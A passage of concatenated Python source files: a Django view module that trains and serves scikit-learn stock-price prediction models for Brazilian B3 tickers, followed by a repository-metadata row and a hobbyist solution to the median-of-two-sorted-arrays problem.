- real x previsto") plt.ylabel("Qtd") plt.title(acao) #plt.plot(y_train) plt.bar([4,8,12],grafico_real,width=1, tick_label=class_names, color=['darkred','darkblue','darkgreen']) plt.bar([5,9,13],grafico,width=1, tick_label=class_names, color=['red','blue','green']) #plt.plot(previsto['Alta_prevista']) #plt.grid(True) plt.savefig("media/clf_count.png") #grafico = grafico.to_html() #persistence if (model == 'knn'): dump(regr, 'app/learners/'+acao+'_KNN.joblib') elif (model == 'svc'): dump(regr, 'app/learners/'+acao+'_SVC.joblib') elif (model == 'ada'): dump(regr, 'app/learners/'+acao+'_ADA.joblib') elif (model == 'vc'): dump(regr, 'app/learners/'+acao+'_VC.joblib') elif (model == 'neural'): dump(regr, 'app/learners/'+acao+'_neural.joblib') else: dump(regr, 'app/learners/'+acao+'_NBC.joblib') context = { 'title' : 'Treino Classificação', 'mae': mae, 'mse': mse, 'r2': r2, 'base': base, 'data' : data, 'prob': prob, 'acao' : acao, 'grafico': grafico, 'modelo': modelo, 'params' : params, 'multi' : '-' } return render(request, 'app/training_log.html', context ) def get_forecast(acao,date,open,close,high,low,vol,model): try: if (model == 'VR'): regr = load('app/learners/'+acao+'_VR.joblib') elif (model == 'GB'): regr = load('app/learners/'+acao+'_GB.joblib') elif (model == 'adr'): regr = load('app/learners/'+acao+'_ADR.joblib') elif (model == 'ada'): regr = load('app/learners/'+acao+'_ADAR.joblib') elif (model == 'nbr'): regr = load('app/learners/'+acao+'_NBR.joblib') elif (model == 'knn'): regr = load(regr, 'app/learners/'+acao+'_KNN.joblib') elif (model == 'svc'): regr = load('app/learners/'+acao+'_SVC.joblib') elif (model == 'ada'): regr = load('app/learners/'+acao+'_ADA.joblib') elif (model == 'vc'): regr = load('app/learners/'+acao+'_VC.joblib') elif (model == 'neural'): regr = load('app/learners/'+acao+'_neural.joblib') elif (model == 'nbc'): regr = load('app/learners/'+acao+'_NBC.joblib') input = pd.DataFrame({'Open':open,'High':high,'Low':low,'Close':close,'Volume':vol}, index=['2019-08-13']) y_pred = regr.predict(input) data = y_pred[0] except: data = "-" return data def previsao(request,model): acao = request.session['acao'] regressoes = ['VR','GB','adr','ada','nbr'] # if this is a POST request we need to process the form data if request.method == 'POST': # create a form instance and populate it with data from the request: form = Previsao(request.POST) # check whether it's valid: if form.is_valid(): # process the data in form.cleaned_data as required # ... # redirect to a new URL: data = get_forecast(acao,request.POST['Data'],request.POST['Abertura'],request.POST['Fechamento'],request.POST['Alta'],request.POST['Baixa'],request.POST['Volume'],model) if (data == '-' ): return HttpResponse("É preciso treinar o algoritmo, antes de fazer a previsão") else: title = 'Previsão' if (model in regressoes): context = { #'data' : data[0].index, 'model': model, 'alta' : "{0:.2f}".format(data[0]), 'baixa' : "{0:.2f}".format(data[1]), 'amp' : "{0:.2f}".format((data[0]/data[1]-1)*100), 'title' : title, 'acao': acao, 'regressoes': regressoes } else: if (data == 1): classe = ' <i class="fas fa-arrow-alt-circle-up"></i> Preço vai subir' if (data == 0): classe = '<i class="fas fa-arrow-alt-circle-right"></i> Preço ficará neutro' else: classe = '<i class="fas fa-arrow-alt-circle-down"></i> Preço vai cair' context = { #'data' : data, 'model': model, 'classe': classe, 'title' : title, 'acao': acao, 'regressoes': regressoes } return render(request, 'app/forecast.html', context ) #return render(request, 'app/filtro.html', context ) # if a GET (or any other method) we'll create a blank form else: form = Previsao() context = { 'title':'Dados para previsão', 'model': model, 'form': form, 'acao': acao } return render(request, 'app/form.html', context ) def modelo(request): acao = request.session['acao'] # if this is a POST request we need to process the form data if request.method == 'POST': # create a form instance and populate it with data from the request: form = Modelo(request.POST) m = request.POST['modelo'] return HttpResponse(m) # if a GET (or any other method) we'll create a blank form else: form = Modelo() context = { 'title':'Dados para previsão', 'form': form, 'acao': acao } return render(request, 'app/form.html', context ) def plot_confusion_matrix(y_true, y_pred, classes, normalize=False, title=None, cmap=plt.cm.Blues): """ This function prints and plots the confusion matrix. Normalization can be applied by setting `normalize=True`. """ if not title: if normalize: title = 'Normalized confusion matrix' else: title = 'Confusion matrix' # Compute confusion matrix cm = confusion_matrix(y_true, y_pred) # Only use the labels that appear in the data #classes = classes[unique_labels(y_true, y_pred)] if normalize: cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis] print("Normalized confusion matrix") else: print('Confusion matrix, without normalization') print(cm) fig, ax = plt.subplots() im = ax.imshow(cm, interpolation='nearest', cmap=cmap) ax.figure.colorbar(im, ax=ax) # We want to show all ticks... ax.set(xticks=np.arange(cm.shape[1]), yticks=np.arange(cm.shape[0]), # ... and label them with the respective list entries xticklabels=classes, yticklabels=classes, title=title, ylabel='True label', xlabel='Predicted label') # Rotate the tick labels and set their alignment. plt.setp(ax.get_xticklabels(), rotation=45, ha="right", rotation_mode="anchor") # Loop over data dimensions and create text annotations. fmt = '.2f' if normalize else 'd' thresh = cm.max() / 2. for i in range(cm.shape[0]): for j in range(cm.shape[1]): ax.text(j, i, format(cm[i, j], fmt), ha="center", va="center", color="white" if cm[i, j] > thresh else "black") fig.tight_layout() return ax def multir(request,model): bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') lista = ['B3SA3', 'BBDC4', 'BRAP4', 'BRFS3', 'BRKM5', 'BRML3', 'BTOW3', 'CCRO3', 'CIEL3', 'CMIG4', 'CSAN3', 'CSNA3', 'CYRE3', 'ECOR3', 'EGIE3', 'ELET3', 'ELET6', 'EMBR3', 'ENBR3', 'EQTL3', 'ESTC3', 'FLRY3', 'GGBR4', 'GOAU4', 'GOLL4', 'HYPE3', 'IGTA3', 'KROT3', 'ITSA4', 'ITUB4', 'LAME4', 'LREN3', 'MGLU3', 'MRFG3', 'MRVE3', 'MULT3', 'NATU3', 'PCAR4', 'PETR3', 'PETR4', 'QUAL3', 'RADL3', 'RENT3', 'SANB11', 'SBSP3', 'TAEE11', 'TIMP3', 'UGPA3', 'USIM5', 'VALE3', 'VIVT4', 'WEGE3'] resultado = [] for item in lista: bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') dados = bolsa.get_group(item) X = dados[['Open','High', 'Low','Close','Volume']] y = pd.DataFrame({'Alta_real':dados['High'].shift(-1).fillna(method='pad'),'Baixa_real':dados['Low'].shift(-1).fillna(method='pad')}) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, shuffle=False, random_state=0) if (model == 'adr'): modelo = "Automatic Relevance Determination Regression" #regr_multi = MultiOutputRegressor(svm.SVR()) regr_multi = MultiOutputRegressor(linear_model.ARDRegression(compute_score=True)) elif (model == 'ada'): modelo = "Ada Regressor" regr_multi = MultiOutputRegressor(AdaBoostRegressor(random_state=0, n_estimators=100)) elif (model == 'GB'): modelo = "GradientBoostingRegressor" regr_multi = MultiOutputRegressor(GradientBoostingRegressor(random_state=1, n_estimators=10)) else: modelo = "LinerRegression com Bayesian Ridge" regr_multi = MultiOutputRegressor(linear_model.BayesianRidge()) regr_multi = regr_multi.fit(X_train, y_train) y_pred = regr_multi.predict(X_test) #print(item) #print(": ") #print(r2_score(y_test, y_pred)) #print(item,": ", r2_score(y_test, y_pred)) r = r2_score(y_test, y_pred) resultado.append([item,r]) resultado_geral = pd.DataFrame(resultado).to_html() context = { 'modelo': modelo, 'resultado': resultado_geral } return render(request, 'app/multi.html', context ) def multic(request,model): bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') lista = ['B3SA3', 'BBDC4', 'BRAP4', 'BRFS3', 'BRKM5', 'BRML3', 'BTOW3', 'CCRO3', 'CIEL3', 'CMIG4', 'CSAN3', 'CSNA3', 'CYRE3', 'ECOR3', 'EGIE3', 'ELET3', 'ELET6', 'EMBR3', 'ENBR3', 'EQTL3', 'ESTC3', 'FLRY3', 'GGBR4', 'GOAU4', 'GOLL4', 'HYPE3', 'IGTA3', 'KROT3', 'ITSA4', 'ITUB4', 'LAME4', 'LREN3', 'MGLU3', 'MRFG3', 'MRVE3', 'MULT3', 'NATU3', 'PCAR4', 'PETR3', 'PETR4', 'QUAL3', 'RADL3', 'RENT3', 'SANB11', 'SBSP3', 'TAEE11', 'TIMP3', 'UGPA3', 'USIM5', 'VALE3', 'VIVT4', 'WEGE3'] resultado = [] for item in lista: bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') dados = bolsa.get_group(item) dados['var'] = dados['Close'].pct_change()*100 dados['move'] = [1 if x>0.01 else -1 if x<-0.01 else 0 for x in dados['Close'].pct_change()] X = dados[['Open','High', 'Low','Close','Volume']] y = dados['move'] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, shuffle=False, random_state=0) if (model == 'knn'): modelo = "KNN" regr = KNeighborsClassifier(n_neighbors=5) elif (model == 'svc'): modelo = "Support Vector Classifier" regr = svm.SVC(gamma='scale') elif (model == 'ada'): modelo = "Ada Classifier" #regr = AdaBoostClassifier(n_estimators=100) regr = AdaBoostClassifier(n_estimators= 100, base_estimator=DecisionTreeClassifier(max_depth=5),algorithm= 'SAMME', learning_rate= 1) elif (model == 'vc'): modelo = "Voting Classifier com LogisticRegression, RandomForestClassifier, GaussianNB" clf1 = KNeighborsClassifier(n_neighbors=5) clf2 = RandomForestClassifier(n_estimators=50, random_state=0) clf3 = GaussianNB() regr = VotingClassifier(estimators=[('lr', clf1), ('rf', clf2), ('gnb', clf3)], voting='soft') elif (model == 'neural'): modelo = 'Multi-layer Perceptron classifier' #regr = MLPClassifier(solver='adam', learning_rate='invscaling', activation="tanh", alpha=1e-5, hidden_layer_sizes=(200,5), random_state=0) regr = MLPClassifier() else: modelo = "Gaussian Naive Bayes" regr = GaussianNB() regr = regr.fit(X_train, y_train) y_pred = regr.predict(X_test) #print(item) #print(": ") #print(r2_score(y_test, y_pred)) #print(item,": ", r2_score(y_test, y_pred)) r = accuracy_score(y_test, y_pred) resultado.append([item,r]) r = pd.DataFrame(resultado).to_html() context = { 'modelo': modelo, 'resultado': r } return render(request, 'app/multi.html', context ) def gridsearch(request,model): acao = request.session['acao'] bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') dados = bolsa.get_group(acao) #training if (model == 'ada'): dados['var'] = dados['Close'].pct_change()*100 dados['move'] = [1 if x>0.01 else -1 if x<-0.01 else 0 for x in dados['Close'].pct_change()] X = dados[['Open','High', 'Low','Close','Volume']] y = dados['move'] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, shuffle=False, random_state=0) base = dados.head().to_html() modelo = "Ada Classifier" param_grid = [ { 'base_estimator': [DecisionTreeClassifier(max_depth=5)], 'algorithm':['SAMME.R','SAMME'], 'learning_rate':[0.5, 1] , 'n_estimators': [75, 100, 125]} #{'n_estimators': [50, 100, 150, 200], 'base_estimator': [DecisionTreeClassifier(max_depth=1),DecisionTreeClassifier(max_depth=3),DecisionTreeClassifier(max_depth=5)], 'learning_rate':[0.5, 1, 1.5, 2] , 'algorithm':['SAMME']} #{ 'n_estimators': [100], 'base_estimator': [DecisionTreeClassifier(max_depth=5)],'algorithm': 'SAMME', 'learning_rate': 1} ] ada = AdaBoostClassifier(n_estimators=100) regr = GridSearchCV(ada, param_grid) regr.fit(X_train,y_train) #forecast y_pred = regr.predict(X_test) real = pd.DataFrame(y_test) previsto = pd.DataFrame(y_pred, index=real.index, columns=['previsto']) real.rename(columns={"move": "real"}) data = pd.concat([real,previsto],axis=1) data = data.to_html() class_names = ['desce','neutro','sobe',] prob = pd.DataFrame(regr.predict_proba(X_test), index=real.index, columns=class_names).to_html() #params params = [regr.cv_results_['params'], regr.cv_results_['mean_test_score'], regr.cv_results_['rank_test_score']] #metrics mae = accuracy_score(y_test, y_pred) mse = precision_score(y_test, y_pred, average='weighted') r2 = recall_score(y_test, y_pred, average='weighted') context = { 'title' : 'Treino Classificação', 'mae': mae, 'mse': mse, 'r2': r2, 'base': base, 'data' : data, 'prob': prob, 'acao' : acao, 'modelo': modelo, 'params' : params, 'multi' : '-' } return render(request, 'app/training_log.html', context ) else: X = dados[['Open','High', 'Low','Close','Volume']] y = dados['High'].shift(-1).fillna(method='pad') Y = pd.DataFrame({'Alta_real':dados['High'].shift(-1).fillna(method='pad'),'Baixa_real':dados['Low'].shift(-1).fillna(method='pad')}) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, shuffle=False, random_state=0) X_train, X_test, Ytrain, Ytest = train_test_split(X, Y, test_size=0.20, shuffle=False, random_state=0) modelo = "LinerRegression com Bayesian Ridge" regr = MultiOutputRegressor(linear_model.BayesianRidge()) param_grid = [ {'estimator':[linear_model.BayesianRidge(n_iter= 100, compute_score=True, fit_intercept=False, alpha_1= 1.e-6),linear_model.BayesianRidge( n_iter= 200, compute_score=True, fit_intercept=False, alpha_1= 1.e-3), linear_model.BayesianRidge(n_iter= 100, alpha_1= 1.e-1),linear_model.BayesianRidge( n_iter= 200, alpha_1= 1.e-9)]} #{'estimator':[linear_model.BayesianRidge(n_iter= 100, tol=0.001),linear_model.BayesianRidge( n_iter= 200, tol=0.001)]} #{ 'n_iter': [200,300,400,500], 'compute_score':(True, False), 'tol': [0.001,1.e-3]} #{ 'n_iter': [200,300,400,500], 'compute_score':['True','False']} ] regr_multi = GridSearchCV(regr, param_grid) regr_multi.fit(X_train,Ytrain) Y_PRED = regr_multi.predict(X_test) real = pd.DataFrame(Ytest) previsto = pd.DataFrame(Y_PRED, index=Ytest.index, columns=['Alta_prevista','Baixa_prevista']) data = pd.concat([real,previsto],axis=1) data['diferenca_alta'] = data['Alta_real']-data['Alta_prevista'] data['diferenca_baixa'] = data['Baixa_real']-data['Baixa_prevista'] erro = data['diferenca_alta'] data = data.to_html() #params #params = regr.get_params() params = [regr_multi.cv_results_['params'], regr_multi.cv_results_['mean_test_score']] #metrics mae = mean_absolute_error(Ytest, Y_PRED) mse = mean_squared_error(Ytest, Y_PRED) ev = explained_variance_score(Ytest, Y_PRED, multioutput='uniform_average') r2 = r2_score(Ytest, Y_PRED) context = { 'title' : 'Treino Regressão', 'mae': mae, 'mse': mse, 'ev': ev, 'r2': r2, #'base': base, 'data' : data, 'acao' : acao, 'modelo': modelo, 'params' : params, 'multi' : Y_PRED[0] } return render(request, 'app/training.html', context )
edad86353f79d83cf636dc14ef46cac4ab1df2e5
e2c2aa7b7518985fbf9cfbef8265f9fff7154798
/median_two_sorted_array.py
cbcc9247900a41dd414cfe89bbe8e967bc83e8af
[]
no_license
Harvey1973/coding_questions
521b1d9d411b53cd8f533ccf60aece616dfeba93
4c5d7b93e078f2efe0c3cdea1f8ec6eef62adfe0
refs/heads/master
2020-04-02T11:53:21.353824
2019-05-24T01:46:31
2019-05-24T01:46:31
154,410,566
0
0
null
null
null
null
UTF-8
Python
false
false
1,918
py
class Solution(object): def findMedianSortedArrays(self,a,b): if len(a) == 0: if len(b) == 1: return b[0] b_index = int (len(b)/2) if len(b)%2 != 0: return b[b_index] else: return (b[b_index-1] + b[b_index])/2.0 if len(b) == 0: if(len(a) ==0): return a[0] a_index = int(len(a)/2) if(len(a)%2 != 0): return a[a_index] else: return (a[a_index-1] + a[a_index])/2.0 total_length = len(a) + len(b) result = [0]*total_length i = 0 j = 0 k = 0 while i < len(a) or j < len(b): if (a[i] < b[j]): result[k] = a[i] i += 1 else: result[k] = b[j] j += 1 k = k + 1 if (i == len(a)): leftover = int (total_length/2) + 1 - i - j for e in range (leftover): if len(b) > len(a): result[i+e+j] = b[j + e] else: result[i+e] = b[j + e] break if (j == len(b)): leftover = int (total_length/2) + 1 - j - i for e in range (leftover): if len(a) > len(b): result[j+e+i] = a[i + e] else: result[j+e] = a[i+e] break index = int (total_length / 2) print(result) print(index) if len(result)%2 == 0 : median = float ((result[index-1] + result[index ])) / 2 print(median) else: median = result[index] return median sol = Solution() a = [1,2] b = [3,4] print(sol.findMedianSortedArrays(a,b))